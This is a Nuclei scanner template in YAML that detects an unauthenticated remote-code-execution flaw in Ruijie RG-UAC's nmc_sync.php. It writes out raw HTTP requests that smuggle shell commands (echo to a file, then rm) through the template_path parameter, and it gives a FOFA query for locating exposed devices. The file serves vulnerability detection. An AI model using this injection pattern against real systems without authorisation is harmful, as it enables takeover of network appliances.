nuclei-templates/http/vulnerabilities/ruijie/ruijie-nmc-sync-rce.yaml

45 lines
1.8 KiB
YAML

id: ruijie-nmc-sync-rce
info:
name: Ruijie RG-UAC nmc_sync.php - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
There is a command execution vulnerability in the nmc_sync.php interface of Ruijie's RG-UAC unified online behavior management and audit system. An unauthenticated attacker can execute arbitrary commands to control server permissions.
reference:
- https://github.com/xinyisleep/pocscan/blob/main/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_%E4%B8%8A%E7%BD%91%E8%A1%8C%E4%B8%BA%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py
classification:
cpe: cpe:2.3:h:ruijie:rg-uac:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
fofa-query: title="RG-UAC登录页面" && body="admin"
product: rg-uac
vendor: ruijie
tags: rg-uac,file-upload,intrusive,ruijie
variables:
random_str: "{{rand_base(6)}}"
match_str: "{{md5(random_str)}}"
http:
- raw:
- |
GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|echo+{{match_str}}+>+{{random_str}}.txt|cat HTTP/1.1
Host: {{Hostname}}
- |
GET /view/systemConfig/management/{{random_str}}.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|rm+{{random_str}}.txt|cat HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2, '{{match_str}}')"
condition: and
# digest: 4a0a0047304502202684c7bbb1a613f988f2f69409d000c62906d6dc9c86749203a1bcd3b3acee8202210081e894075bf71c3c2a7214a63f0393c7fc194cb11d42dc151109db5f260b04a5:922c64590222798bb761d5b6d8e72950